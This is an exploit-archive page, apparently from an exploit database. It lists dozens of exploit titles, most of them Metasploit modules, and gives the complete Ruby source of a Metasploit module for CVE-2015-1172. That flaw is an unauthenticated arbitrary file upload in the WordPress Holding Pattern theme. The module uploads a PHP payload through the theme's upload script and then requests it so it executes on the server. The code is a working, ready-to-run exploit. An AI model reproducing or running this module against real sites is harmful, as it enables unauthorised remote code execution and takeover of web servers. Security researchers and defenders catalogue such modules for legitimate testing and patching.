
39 new exploits Android 4.2 Browser and WebView - 'addJavascriptInterface' Code Execution (Metasploit) Adobe Flash Player - Nellymoser Audio Decoding Buffer Overflow (Metasploit) Mozilla Firefox 5.0 < 15.0.1 - __exposedProps__ XCS Code Execution (Metasploit) Mozilla Firefox < 17.0.1 - Flash Privileged Code Injection (Metasploit) Sun Java Web Start Plugin - Command Line Argument Injection (Metasploit) Malwarebytes Anti-Malware < 2.0.3 / Anti-Exploit < 1.03.1.1220 - Update Remote Code Execution (Metasploit) Microsoft Silverlight - ScriptObject Unsafe Memory Access (MS13-022/MS13-087) (Metasploit) EMC Replication Manager < 5.3 - Command Execution (Metasploit) MOXA MediaDBPlayback - ActiveX Control Buffer Overflow (Metasploit) Microsoft Office - OLE Multiple DLL Side Loading Vulnerabilities (MS15-132/MS16-014/MS16-025/MS16-041/MS16-070) (Metasploit) CA Arcserve D2D - GWT RPC Credential Information Disclosure (Metasploit) Lenovo System Update - Privilege Escalation (Metasploit) Firebird - Relational Database CNCT Group Number Buffer Overflow (Metasploit) HP Intelligent Management Center < 5.0 E0102 - UAM Buffer Overflow (Metasploit) VMware Host Guest Client Redirector - DLL Side Loading (Metasploit) CADA 3S CoDeSys Gateway Server - Directory Traversal (Metasploit) MOXA Device Manager Tool 2.1 - Buffer Overflow (Metasploit) SysGauge 1.5.18 - SMTP Validation Buffer Overflow (Metasploit) Ceragon FibeAir IP-10 - SSH Private Key Exposure (Metasploit) ExaGrid - Known SSH Key and Default Password (Metasploit) GIT 1.8.5.6 / 1.9.5 / 2.0.5 / 2.1.4/ 2.2.1 & Mercurial < 3.2.3 - Multiple Vulnerabilities (Metasploit) Ruby on Rails 4.0.x / 4.1.x / 4.2.x (Web Console v2) - Whitelist Bypass Code Execution (Metasploit) Apache Struts < 1.3.10 / < 2.3.16.2 - ClassLoader Manipulation Remote Code Execution (Metasploit) Samba 2.2.2 < 2.2.6 - 'nttrans' Buffer Overflow (Metasploit) SSH - User Code Execution (Metasploit) Redmine SCM Repository - Arbitrary Command Execution (Metasploit) Linux/x86 - Bind Shell Shellcode (42 bytes) Linux/x86 - Bind Shell Shellcode (44 bytes) Joomla! Component Modern Booking 1.0 - 'coupon' Parameter SQL Injection Flippa Clone - SQL Injection Centreon < 2.5.1 / Centreon Enterprise Server < 2.2 - SQL Injection / Command Injection (Metasploit) D-Link/TRENDnet - NCC Service Command Injection (Metasploit) Seagate Business NAS - Unauthenticated Remote Command Execution (Metasploit) MantisBT 1.2.0a3 < 1.2.17 - XmlImportExport Plugin PHP Code Injection (Metasploit) OP5 5.3.5 / 5.4.0 / 5.4.2 / 5.5.0 / 5.5.1 - 'license.php' Remote Command Execution (Metasploit) OP5 5.3.5 / 5.4.0 / 5.4.2 / 5.5.0 / 5.5.1 - 'welcome' Remote Command Execution (Metasploit) PHPMailer < 5.2.19 - Sendmail Argument Injection (Metasploit) SysAid Help Desk Administrator Portal < 14.4 - Arbitrary File Upload (Metasploit) WordPress Plugin Ninja Forms 2.9.36 < 2.9.42 - Unauthenticated File Upload (Metasploit) SixApart MovableType < 5.2.12 - Storable Perl Code Execution (Metasploit) WordPress Theme Holding Pattern - Arbitrary File Upload (Metasploit) Distinct TFTP 3.10 - Writable Directory Traversal Execution (Metasploit)
98 lines
No EOL
3.4 KiB
Ruby
Executable file
98 lines
No EOL
3.4 KiB
Ruby
Executable file
##
|
|
# This module requires Metasploit: http://www.metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'socket'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::Remote::HTTP::Wordpress
|
|
|
|
def initialize(info = {})
|
|
super(update_info(
|
|
info,
|
|
'Name' => 'WordPress Holding Pattern Theme Arbitrary File Upload',
|
|
'Description' => %q{
|
|
This module exploits a file upload vulnerability in all versions of the
|
|
Holding Pattern theme found in the upload_file.php script which contains
|
|
no session or file validation. It allows unauthenticated users to upload
|
|
files of any type and subsequently execute PHP scripts in the context of
|
|
the web server.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Alexander Borg', # Vulnerability disclosure
|
|
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2015-1172'],
|
|
['WPVDB', '7784'],
|
|
['PACKETSTORM', '130282']
|
|
],
|
|
'DisclosureDate' => 'Feb 11 2015',
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' => [['holding_pattern', {}]],
|
|
'DefaultTarget' => 0
|
|
))
|
|
end
|
|
|
|
def check
|
|
check_theme_version_from_readme('holding_pattern')
|
|
end
|
|
|
|
def rhost
|
|
datastore['RHOST']
|
|
end
|
|
|
|
def holding_pattern_uploads_url
|
|
normalize_uri(wordpress_url_themes, 'holding_pattern', 'uploads/')
|
|
end
|
|
|
|
def holding_pattern_uploader_url
|
|
normalize_uri(wordpress_url_themes, 'holding_pattern', 'admin', 'upload-file.php')
|
|
end
|
|
|
|
def generate_mime_message(payload, payload_name)
|
|
data = Rex::MIME::Message.new
|
|
target_ip = IPSocket.getaddress(rhost)
|
|
field_name = Rex::Text.md5(target_ip)
|
|
|
|
# In versions 1.2 and 1.3 of the theme, the upload directory must
|
|
# be encoded in base64 and sent with the request. To maintain
|
|
# compatibility with the hardcoded path of ../uploads in prior
|
|
# versions, we will send the same path in the request.
|
|
upload_path = Rex::Text.encode_base64('../uploads')
|
|
|
|
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{field_name}\"; filename=\"#{payload_name}\"")
|
|
data.add_part(upload_path, nil, nil, 'form-data; name="upload_path"')
|
|
data
|
|
end
|
|
|
|
def exploit
|
|
print_status("Preparing payload...")
|
|
payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php"
|
|
data = generate_mime_message(payload, payload_name)
|
|
|
|
print_status("Uploading payload...")
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => holding_pattern_uploader_url,
|
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
|
'data' => data.to_s
|
|
)
|
|
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
|
|
fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
|
|
payload_url = normalize_uri(holding_pattern_uploads_url, payload_name)
|
|
|
|
print_status("Executing the payload at #{payload_url}")
|
|
register_files_for_cleanup(payload_name)
|
|
send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
|
|
end
|
|
end |